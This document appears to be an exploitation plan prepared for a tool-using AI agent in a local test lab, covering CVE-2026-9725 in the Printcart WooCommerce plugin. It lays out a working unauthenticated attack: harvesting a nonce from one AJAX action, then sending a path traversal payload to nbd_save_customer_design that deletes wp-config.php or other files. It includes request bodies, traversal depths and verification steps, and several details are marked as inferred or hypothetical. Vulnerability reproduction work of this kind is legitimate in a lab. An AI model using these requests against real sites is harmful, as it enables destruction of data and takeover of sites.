Exploitation Research Plan: CVE-2026-9725 - Printcart Web to Print Product Designer Arbitrary File Deletion

1. Vulnerability Summary

The Printcart Web to Print Product Designer for WooCommerce plugin (versions <= 2.5.2) contains a critical arbitrary file deletion vulnerability. The vulnerability exists because the function store_design_data() (inferred to be in a core design handling file) processes a user-supplied parameter nbd_item_key without sufficient path validation.

While the parameter is sanitized with sanitize_text_field(), this function does not remove path traversal sequences (../). The resulting unsanitized path is passed to Nbdesigner_IO::delete_folder() (defined in includes/class-util.php) or PHP's rename(), allowing an unauthenticated user to delete any file the web server has permissions to access (e.g., wp-config.php).

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• AJAX Actions:
  1. nbd_check_use_logged_in (to retrieve the nonce).
  2. nbd_save_customer_design (the vulnerable sink).
• Vulnerable Parameter: nbd_item_key (POST).
• Authentication: None (Action is registered for nopriv).
• Payload Type: Path Traversal (e.g., ../../../../wp-config.php).

3. Code Flow (Inferred from Description)

1. Request Entry: An unauthenticated user sends an AJAX request with the action nbd_save_customer_design.
2. Nonce Verification: The plugin checks for a nonce (e.g., _nbnonce or nonce).
3. Vulnerable Function Call: The handler calls store_design_data().
4. Parameter Extraction: store_design_data() retrieves $_POST['nbd_item_key'].
5. Weak Sanitization: It applies sanitize_text_field($_POST['nbd_item_key']), which preserves ../.
6. Path Construction: The plugin constructs a path, likely: $path = NBDESIGNER_CUSTOMER_DIR . '/' . $nbd_item_key;.
7. The Sink: The plugin calls Nbdesigner_IO::delete_folder( $path ).
   • As seen in includes/class-util.php:

     public static function delete_folder( $path ) {
         if ( is_dir( $path ) === true ) {
             // Recursive deletion...
         } else if ( is_file( $path ) === true ) {
             return unlink( $path ); // SINK: Arbitrary file deletion
         }
         return false;
     }
     

4. Nonce Acquisition Strategy

The vulnerability description explicitly states that the nonce for nbd_save_customer_design is obtainable via the nbd_check_use_logged_in endpoint.

1. Identify Shortcode: The plugin uses shortcodes like [nbdesigner] or [nbd_main] (inferred from common WooCommerce designer patterns) to load its environment.
2. Create Test Page:
   wp post create --post_type=page --post_title="Designer Test" --post_status=publish --post_content="[nbd_main]"
3. Fetch Nonce via AJAX Endpoint:
   The nbd_check_use_logged_in endpoint likely returns a JSON object containing the nonce.
   • Request: POST /wp-admin/admin-ajax.php?action=nbd_check_use_logged_in
   • Alternative (JS Context): Navigate to the Designer Test page and use browser_eval to find the localization object. Based on the plugin slug printcart-integration, look for objects like nbd_design_data or nbd_main_js.
   • Localization Key (Hypothetical): window.nbd_main_data?.nonce or window.nbd_save_nonce.

5. Exploitation Strategy

Step 1: Obtain the Nonce

Use the http_request tool to hit the unauthenticated nonce endpoint.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Body (URL-encoded): action=nbd_check_use_logged_in
• Extract: The nonce value from the JSON response.

Step 2: Trigger Deletion

Use the obtained nonce to call the vulnerable action.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Body (URL-encoded):

  action=nbd_save_customer_design&nonce=[NONCE]&nbd_item_key=../../../../../../wp-config.php
  

  (Note: Adjust the number of ../ based on the plugin's data directory depth, typically wp-content/uploads/nbdesigner/temp/ requires 5-6 jumps to reach root).

6. Test Data Setup

1. Create Target File: Create a dummy file in the WordPress root to prove deletion without breaking the site.
   touch /var/www/html/deletion-test.txt
2. Determine Path Depth: The plugin usually stores customer data in wp-content/uploads/nbdesigner/.
   Path to root: ../../../../ (from nbdesigner to wp-content, to uploads, to root).

7. Expected Results

• Step 1 Response: 200 OK with JSON containing a nonce (e.g., {"nonce":"a1b2c3d4e5"}).
• Step 2 Response: 200 OK. The response body might indicate success or be empty.
• File System Change: The file /var/www/html/deletion-test.txt will be removed.

8. Verification Steps

1. Check File Existence (via CLI):
   ls /var/www/html/deletion-test.txt
   Expected: "ls: cannot access ...: No such file or directory"
2. Confirm Target (via HTTP):
   Attempt to access the file via the browser/http_request.
   Expected: 404 Not Found.

9. Alternative Approaches

If nbd_check_use_logged_in does not return the nonce directly:

1. Search Source for wp_localize_script: Use grep -r "wp_localize_script" . to find which JS object carries the nonce.
2. Browser Extraction:
   • browser_navigate("http://localhost:8080/page-with-designer-shortcode")
   • browser_eval("window.nbdesigner_config.nonce") (or similar object key).
3. Action Specifics: If delete_folder is not called, check if rename() is used to move a file from a controlled source to a controlled destination, effectively deleting the source or overwriting a critical file.